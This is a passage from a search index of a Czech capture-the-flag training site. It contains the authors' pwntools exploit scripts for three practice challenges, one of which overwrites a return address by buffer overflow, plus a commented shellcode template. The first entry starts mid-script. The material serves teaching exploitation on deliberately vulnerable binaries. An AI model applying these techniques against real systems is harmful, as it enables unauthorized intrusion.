ELF(args.EXE or \u0026#39;../src/chall\u0026#39;) # Many built-in settings can be controlled on the command-line and show up # in \u0026#34;args\u0026#34;. For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable host = args.HOST or \u0026#39;localhost\u0026#39; port = int(args.PORT or 9999) def start_local(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Execute the target binary locally\u0026#39;\u0026#39;\u0026#39; if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Connect to the process on the remote host\u0026#39;\u0026#39;\u0026#39; io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Start the exploit against the target.\u0026#39;\u0026#39;\u0026#39; if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = \u0026#39;\u0026#39;\u0026#39; tbreak main continue \u0026#39;\u0026#39;\u0026#39;.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) io = start(env={\u0026#34;FLAG\u0026#34;:\u0026#34;hxx{test}\u0026#34;}) def execute_function(func): io.sendafter(b\u0026#39;? \u0026#39;, p64(func)) for _ in range(42): execute_function(exe.symbols[\u0026#39;udelat_drep\u0026#39;]) execute_function(exe.symbols[\u0026#39;udelat_drep\u0026#39;]) execute_function(exe.symbols[\u0026#39;opravdu_pripravit_zabu\u0026#39;]) execute_function(exe.symbols[\u0026#39;protahnout_nohy\u0026#39;]) execute_function(exe.symbols[\u0026#39;zahajit_utok\u0026#39;]) execute_function(exe.symbols[\u0026#39;rozcvicit_jazyk\u0026#39;]) execute_function(exe.symbols[\u0026#39;skok1\u0026#39;]) execute_function(exe.symbols[\u0026#39;skok2\u0026#39;]) execute_function(exe.symbols[\u0026#39;skok3\u0026#39;]) execute_function(exe.symbols[\u0026#39;skok4\u0026#39;]) execute_function(exe.symbols[\u0026#39;skok5\u0026#39;]) execute_function(exe.symbols[\u0026#39;moucha_ulovena\u0026#39;]) # shellcode = asm(shellcraft.sh()) # payload = fit({ # 32: 0xdeadbeef, # \u0026#39;iaaa\u0026#39;: [1, 2, \u0026#39;Hello\u0026#39;, 3] # }, length=128) # io.send(payload) # flag = io.recv(...) # log.success(flag) io.interactive() ","date":"31. října 2023","permalink":"https://kybercvicna.cz/reseni-uloh/zabak-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Žabák - Autorské řešení úlohy"},{"content":"Solution #You need to use buffer overflow to overwrite the return address to the address of function sladke_vitezstvi, that will print the flag.\nExploit script #An example exploit is provided. By default exploits localhost on port 9999. This can be very easily edited inside the exploit on line 21.\nNOTE: The exploit requires the pwntools library.\n#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./chall from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF(args.EXE or \u0026#39;./chall\u0026#39;) # Many built-in settings can be controlled on the command-line and show up # in \u0026#34;args\u0026#34;. For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR def start(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Start the exploit against the target.\u0026#39;\u0026#39;\u0026#39; if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(\u0026#39;localhost\u0026#39;, 9999) else: return process([exe.path] + argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = \u0026#39;\u0026#39;\u0026#39; tbreak main continue \u0026#39;\u0026#39;\u0026#39;.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) io = start() payload = fit({ cyclic_find(0x6261616362616162): exe.sym[\u0026#39;sladke_vitezstvi\u0026#39;], }) io.sendlineafter(b\u0026#34;no: \u0026#34;, payload) flag = io.recvall() log.success(flag) ","date":"20. října 2023","permalink":"https://kybercvicna.cz/reseni-uloh/prezdivkovac-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Přezdívkovač - Autorské řešení úlohy"},{"content":"Solution #Follow the instructions that the challenge gives you :)\nExploit script #An example exploit is provided. By default exploits localhost on port 9999. This can be very easily edited inside the exploit (it\u0026rsquo;s very short).\nNOTE: The exploit requires the pwntools library.\nfrom pwn import * r = remote(\u0026#39;localhost\u0026#39;, 10001) #r = process(\u0026#39;../src/chall\u0026#39;) # level 1 r.sendlineafter(b\u0026#34;please?\u0026#34;, b\u0026#34;1\u0026#34;) r.sendlineafter(b\u0026#34;please?\u0026#34;, b\u0026#34;2\u0026#34;) r.sendlineafter(b\u0026#34;please?\u0026#34;, b\u0026#34;3\u0026#34;) r.sendlineafter(b\u0026#34;please?\u0026#34;, b\u0026#34;31337\u0026#34;) # level 2 r.sendafter(b\u0026#34;please?\u0026#34;, p64(1)) r.sendafter(b\u0026#34;please?\u0026#34;, p64(2)) r.sendafter(b\u0026#34;please?\u0026#34;, p64(3)) r.sendafter(b\u0026#34;please?\u0026#34;, p64(31337)) r.sendafter(b\u0026#34;please?\u0026#34;, p64(0x42f00dbabe)) for i in range(5): l = r.recvline_startswith(b\u0026#34;Can you please solve this for me\u0026#34;).split(b\u0026#34; \u0026#34;) op1 = int(l[7]) oper = l[8].decode() op2 = int(l[9][:-1]) res = 0 if oper == \u0026#39;+\u0026#39;: res = op1 + op2 elif oper == \u0026#39;-\u0026#39;: res = op1 - op2 elif oper == \u0026#39;*\u0026#39;: res = op1 * op2 r.send(p64(res)) print(r.recvall().decode()) ","date":"19. října 2023","permalink":"https://kybercvicna.cz/reseni-uloh/easy-as-123-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Easy as 123 - Autorské řešení úlohy"}]